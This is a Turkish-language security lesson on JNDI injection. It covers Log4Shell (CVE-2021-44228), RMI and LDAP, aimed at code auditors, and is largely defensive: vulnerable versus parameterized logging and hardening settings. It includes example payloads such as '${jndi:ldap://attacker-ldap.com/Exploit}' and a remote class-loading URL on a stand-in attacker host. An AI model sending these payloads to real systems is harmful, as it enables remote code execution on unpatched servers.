Skip to main content

Welcome to a Grasp lesson

Create a free account to keep studying and create your own study path.

Lesson 47

JNDI Enjeksiyon Zafiyetleri: Log4j, RMI ve LDAP

Recommended resources

Harika, bir önceki dersimizde Python'un dinamik doğasından kaynaklanan ve çalışma zamanı ortamını hedef alan import hijacking zafiyetini inceledik. Bir uygulamanın modül yükleme mekanizmasını ele geçirerek nasıl kod çalıştırılabileceğini kod ve konfigürasyon seviyesinde analiz ettik. Bu ders, çalışma zamanı (runtime) manipülasyonu temasını sürdürüyor, ancak bu kez rotamızı statik tipli dillerin devlerinden Java'ya ve siber güvenlik tarihindeki en etkili zafiyetlerden birine çeviriyoruz.

Bu dersin amacı, Java kodunda JNDI enjeksiyonu zafiyetlerini Log4j, RMI ve LDAP bağlamlarında tespit etmektir. Log4Shell (CVE-2021-44228) olarak ünlenen bu zafiyet, Java ekosisteminin temel bir özelliği olan JNDI'nin (Java Naming and Directory Interface) nasıl tehlikeli bir saldırı vektörüne dönüşebileceğinin en somut örneğidir. Geniş güvenlik tecrübeniz sayesinde bu zafiyetin etkilerini ve istismarını dışarıdan (pentest, Red Team) muhtemelen çok iyi biliyorsunuz. Bu derste ise "uzman gözüyle" kodun içine girerek, bu zafiyeti mümkün kılan kod desenlerini ve temel nedenlerini derinlemesine anlayacağız.

JNDI: Zafiyetin Kalbindeki API

Her şeyden önce, JNDI'nin ne olduğunu ve neden bu kadar güçlü (ve tehlikeli) olduğunu anlamamız gerekiyor. JNDI, Java Naming and Directory Interface'in kısaltmasıdır. Java uygulamalarının isimlendirme (naming) ve dizin (directory) servislerine standart bir şekilde erişmesini sağlayan bir API'dir. Bu servisler, verileri ve nesneleri hiyerarşik bir yapıda saklar ve bir "isim" (string) kullanarak bu kaynaklara erişim imkanı sunar.

JNDI'nin desteklediği en yaygın protokollerden bazıları şunlardır:

  • LDAP (Lightweight Directory Access Protocol): Kullanıcı bilgileri, konfigürasyonlar gibi verileri saklamak için yaygın olarak kullanılır.
  • RMI (Remote Method Invocation): Java nesnelerinin farklı JVM'ler arasında iletişim kurmasını sağlayan bir mekanizma.
  • DNS (Domain Name System): Alan adlarını IP adreslerine çeviren temel internet servisi.
  • CORBA (Common Object Request Broker Architecture)

JNDI'nin temel işlemi, bir isim (string) alıp bu isme karşılık gelen nesneyi dizin servisinden getiren lookup() metodudur. Sorun da tam burada başlar: Eğer lookup() metoduna verilen bu isim, bir saldırgan tarafından kontrol edilebiliyorsa, uygulama saldırganın belirttiği bir sunucuya bağlanıp oradan gelen veriyi "nesne" olarak yorumlamaya çalışabilir.

Bu ekran görüntüsü, Java'nın kendi `InitialContext` sınıfındaki `lookup(String name)` metodunu gösteriyor. Gelen `name` parametresinin doğrudan bir sonraki `lookup` çağrısına aktarılması, bu fonksiyonun temel tasarımını ve potansiyel tehlikeyi gözler önüne seriyor.

Bu, "taint analysis" perspektifinden klasik bir zafiyet desenidir: Dışarıdan gelen kirli (tainted) veri, hiçbir doğrulama veya temizlemeden geçmeden doğrudan tehlikeli bir hedefe (sink), yani lookup() metoduna ulaşıyor.


Log4Shell: Mükemmel Fırtına

JNDI enjeksiyonu teorik olarak uzun süredir bilinse de, Log4Shell (CVE-2021-44228) ile dünya çapında bir krize dönüştü. Bunun nedeni, "yaygınlık + istismar kolaylığı + güçlü etki" üçlüsünün bir araya gelmesidir.

  1. Yaygınlık: Apache Log4j, Java ekosistemindeki en popüler loglama kütüphanesidir. Neredeyse her kurumsal Java uygulaması, doğrudan veya dolaylı olarak Log4j kullanıyordu.
  2. İstismar Kolaylığı: Zafiyeti tetiklemek için saldırganın, uygulamanın logladığı herhangi bir yere özel bir string göndermesi yeterliydi: User-Agent başlığı, bir form alanı, bir API parametresi vb.
  3. Güçlü Etki: Başarılı bir istismar, doğrudan uzaktan kod çalıştırma (RCE) ile sonuçlanıyordu.

Peki bu nasıl mümkün oldu? Log4j'nin, log mesajları içinde ${...} formatında özel ifadeleri işleyebilen bir "Lookups" özelliği vardı. Bu özellik, log mesajlarına dinamik olarak veri eklemek için tasarlanmıştı (örn: Java sürümünü, ortam değişkenlerini eklemek gibi). Ancak bu lookup'lardan biri de jndi idi.

Log4j, bir log mesajında ${jndi:ldap://attacker.com/a} gibi bir ifadeyle karşılaştığında, bu ifadenin bir JNDI lookup'ı olduğunu anlıyor ve bu adrese bir JNDI sorgusu yapıyordu. Sonuç olarak, loglanan herhangi bir veri, potansiyel bir JNDI enjeksiyon vektörüne dönüştü.

Aşağıdaki görsel, bu akışı mükemmel bir şekilde özetlemektedir.

Bu şema, bir HTTP isteğindeki saldırgan kontrollü `User-Agent` başlığının `log.info()` ile nasıl loglandığını ve bu işlemin Log4j içindeki JNDI lookup mekanizmasını tetikleyerek RCE'ye yol açtığını gösteriyor.

Zafiyetin teknik derinliğini ve bağlamını daha iyi anlamak için aşağıdaki kaynağı inceleyelim. Bu makale, JNDI'nin rolünü, LDAP ve RMI'nin nasıl kullanıldığını ve saldırı zincirinin nasıl işlediğini detaylı bir şekilde açıklıyor.

Log4j (CVE-2021-44228) Ultra Kapsamlı Teknik Analiz

Bu kaynak, Log4Shell zafiyetinin teknik temelini, JNDI'nin bu zafiyetteki rolünü ve saldırganların RCE elde etmek için kullandığı mekanizmaları derinlemesine açıklıyor. Okurken, JNDI'nin LDAP ve RMI gibi protokollerle nasıl etkileşime girdiğine ve saldırı zincirinin adımlarına odaklanın.

Makaleyi başından itibaren okumaya başlayın. JNDI Lookup Mekanizması başlıklı 3. bölümü dikkatle inceleyin. Bu bölüm, zafiyetin teknik çekirdeğini, yani Log4j'nin ${jndi:...} ifadelerini nasıl işlediğini ve bunun nasıl saldırgan kontrolündeki bir LDAP sunucusuna bağlantıya yol açtığını anlatıyor. Ardından, Exploit Server’ın Teknik İşleyişi başlıklı 4. bölümü okuyarak saldırganın RCE elde etmek için kullandığı iki aşamalı altyapıyı (LDAP/RMI yönlendirici ve HTTP payload sunucusu) ve tüm saldırı zincirini öğrenin.


Exploit Zinciri: lookup'tan RCE'ye

Okuduğunuz kaynaktan ve Red Team tecrübenizden de aşina olduğunuz gibi, Log4Shell saldırısı tipik olarak şu adımları izler:

  1. Enjeksiyon: Saldırgan, hedefin loglayacağı bir alana ${jndi:ldap://attacker-ldap.com/Exploit} gibi bir payload gönderir.
  2. Bant Dışı Etkileşim (Out-of-Band Interaction): Zafiyetli uygulama bu string'i loglar. Log4j'nin JNDI Lookup özelliği tetiklenir ve uygulama, saldırganın kontrolündeki LDAP sunucusuna bir bağlantı başlatır. Bu, uygulamanın normal istek-cevap döngüsünün "dışında" gerçekleştiği için "bant dışı" bir etkileşimdir. Bu tür zafiyetleri tespit etmek için OAST (Out-of-Band Application Security Testing) teknikleri kullanılır.
  3. Yönlendirme: Saldırganın LDAP sunucusu, isteğe bir dizin girdisi ile yanıt verir. Bu girdi, asıl zararlı kodun bulunduğu yeri işaret eder. Genellikle bu, bir HTTP sunucusunda barındırılan derlenmiş bir Java sınıfıdır (.class dosyası). Örneğin, LDAP yanıtı şöyle bir referans içerebilir: javaCodeBase: "http://attacker-http.com/", javaClassName: "Exploit".
  4. Uzaktan Sınıf Yükleme (Remote Class Loading): Java'nın JNDI mekanizması, bu referansı alır ve http://attacker-http.com/Exploit.class adresinden zararlı sınıfı indirir. Bu, Java'nın (eski sürümlerde varsayılan olarak aktif olan) güvensiz bir özelliğidir.
  5. Kod Yürütme: JVM, indirilen bu Exploit.class dosyasını yükler ve sınıfın kurucusunu (constructor) veya statik bloğunu çalıştırır. Saldırganın bu bloğa yerleştirdiği kod (örn: bir reverse shell başlatan veya komut çalıştıran kod) sunucu üzerinde çalıştırılmış olur.

Aşağıdaki video, bu saldırı zincirini canlı bir demo ile göstererek süreci somutlaştırıyor.

Log4j RCE (Log4Shell) Exploit Etme teknikleri ve Exploit Sistem Üzerinde Nasıl Yakalanır?

ÇözümPark kanalındaki bu video, Spring Boot tabanlı bir uygulamada Log4j zafiyetinin nasıl istismar edildiğini pratik olarak gösteriyor. Saldırganın kurduğu sahte LDAP sunucusundan, hedef sistemde komut çalıştırmaya kadar olan adımları görebilirsiniz.

Videoda özellikle exploit demosu bölümünü izleyin. Bu kısımda, saldırganın jndi:ldap payload'ını nasıl hazırladığı, hedef sunucunun bu payload'ı alarak saldırganın LDAP sunucusuna nasıl bağlandığı ve sonuç olarak touch komutuyla hedef sistemde nasıl bir dosya oluşturulduğu adım adım gösterilmektedir.


Kod Denetimi Perspektifinden JNDI Enjeksiyonu

Bir güvenlik uzmanı olarak kod denetimi yaparken JNDI enjeksiyonu riskini nasıl tespit edersiniz?

1. Doğrudan JNDI Kullanımı

En bariz senaryo, uygulamanın kendisinin JNDI'yi güvensiz kullanmasıdır.

  • Kodda javax.naming.InitialContext veya javax.naming.Context nesnelerinin oluşturulduğu yerleri arayın.
  • Bu nesneler üzerinde çağrılan .lookup() metodlarını bulun.
  • lookup() metoduna parametre olarak verilen string'in kaynağını izleyin. Eğer bu string, bir HTTP isteğinden (parametre, başlık, body), bir veritabanı kaydından, bir mesaj kuyruğundan veya başka bir güvensiz kaynaktan geliyorsa, bu potansiyel bir JNDI enjeksiyonudur.

2. Dolaylı JNDI Kullanımı (Log4j Örneği)

Log4Shell, zafiyetin her zaman bu kadar bariz olmadığını gösterdi.

  • Loglama İfadeleri: Kod tabanındaki tüm loglama ifadelerini (log.info, log.error, log.debug vb.) potansiyel tehlike olarak görün.
  • Parametresiz Loglama: En tehlikeli desen, kullanıcı girdisinin doğrudan log mesajı içine birleştirilmesidir:
    // ZAFİYETLİ
    String taintedInput = request.getParameter("username");
    logger.info("Login attempt for user: " + taintedInput); 
    
    Bu durumda, eğer taintedInput değeri ${jndi:...} içeriyorsa, Log4j'nin lookup mekanizması tetiklenir.
  • Parametreli Loglama: Güvenli yöntem, parametreli loglama kullanmaktır:
    // GÜVENLİ
    String taintedInput = request.getParameter("username");
    logger.info("Login attempt for user: {}", taintedInput);
    
    Bu kullanımda Log4j, ikinci parametre olan taintedInput içindeki özel ${...} ifadelerini yorumlamaz. Lookup mekanizması sadece format string'inin (ilk parametre) kendisi üzerinde çalışır. Bu nedenle, kullanıcı girdisini log mesajlarına her zaman parametre olarak geçmek kritik bir en iyi pratiktir.

3. Konfigürasyon ve Bağımlılık Analizi

  • pom.xml veya build.gradle: Uygulamanın bağımlılıklarını kontrol edin. log4j-core kütüphanesinin 2.15.0'dan (veya daha sonraki yamalardan) eski bir sürümünü kullanıp kullanmadığını analiz edin. SCA araçları bunu otomatik yapsa da manuel denetimde bu bilgi kritiktir.
  • JVM Argümanları: Uygulamanın nasıl başlatıldığını kontrol edin. -Dlog4j2.formatMsgNoLookups=true sistem özelliğinin (property) true olarak ayarlanması, zafiyetli versiyonlarda bile lookup özelliğini devre dışı bırakan bir önlemdir. Bu ayarın olmaması bir risktir. Benzer şekilde, daha yeni Java sürümlerinde varsayılan olarak false olan -Dcom.sun.jndi.ldap.object.trustURLCodebase=false ve -Dcom.sun.jndi.rmi.object.trustURLCodebase=false gibi ayarların true yapılıp yapılmadığını kontrol etmek de önemlidir.

Aşağıdaki videonun ilgili bölümü, bu saldırı zincirini ve RCE mekaniğini daha basit bir dille, şema üzerinde anlatarak konuyu pekiştirmenize yardımcı olacaktır.

Bu mesleğe neden aşığım ! Log4J Güvenlik Zafiyeti

Mehmet İnce'nin bu videosu, zafiyetin temel mantığını ve exploit zincirini şema çizerek açıklıyor. Konunun teknik arka planını ve neden bu kadar büyük bir etki yarattığını anlamak için harika bir kaynak.

Videoda zafiyetin oluşumu kısmını izleyerek log mesajı içindeki ${jndi} ifadesinin Log4j tarafından nasıl yorumlandığını ve JNDI lookup'ını nasıl tetiklediğini dinleyin. Ardından, exploit zinciri bölümünde, saldırganın sahte LDAP sunucusu ve zararlı Java sınıfını barındıran HTTP sunucusu ile RCE'yi nasıl adım adım gerçekleştirdiğini anlatan şematik çizimi takip edin.


Özet ve Sonraki Adımlar

Bu dersimizde, Java ekosisteminin en yıkıcı zafiyetlerinden biri olan JNDI enjeksiyonunu, ünlü Log4Shell vakası üzerinden derinlemesine inceledik.

Anahtar Çıkarımlar:

  • JNDI, Java'nın dizin servislerine erişim API'sidir ve lookup metodu, güvensiz verilerle çağrıldığında tehlikeli bir sink görevi görür.
  • Log4Shell, Log4j kütüphanesinin log mesajlarındaki ${jndi:...} ifadelerini yorumlama özelliği nedeniyle ortaya çıkmıştır. Bu, loglanan herhangi bir veriyi bir saldırı vektörüne dönüştürmüştür.
  • İstismar zinciri, kurban uygulamanın saldırganın LDAP/RMI sunucusuna bir bant dışı (out-of-band) istek yapması ve ardından saldırganın HTTP sunucusundan zararlı bir Java sınıfı indirip çalıştırmasıyla RCE'ye yol açar.
  • Kod denetiminde; lookup() metoduna giden veri akışları, loglama ifadelerinde kullanıcı girdisinin doğrudan birleştirilmesi ve bağımlılıkların/konfigürasyonların durumu kritik kontrol noktalarıdır. Parametreli loglama en etkili kod düzeyindeki önlemlerden biridir.

JNDI enjeksiyonu, bir dilin veya platformun çalışma zamanı özelliklerinin nasıl beklenmedik güvenlik riskleri oluşturabileceğinin güçlü bir örneğidir. Bir sonraki dersimizde, Java'nın çalışma zamanı manipülasyonu için tasarlanmış bir başka güçlü mekanizmasını ele alacağız: Reflection. Java'da reflection API'lerinin (örn: Class.forName) güvensiz kullanımını analiz ederek kod enjeksiyonu ve güvenlik mekanizmalarını atlatma yollarını bulmayı öğreneceğiz. Bu konu, JNDI'nin uzaktan kod yükleme yeteneğini, bellekteki mevcut kodları dinamik olarak keşfetme ve çağırma yeteneğiyle tamamlayacaktır.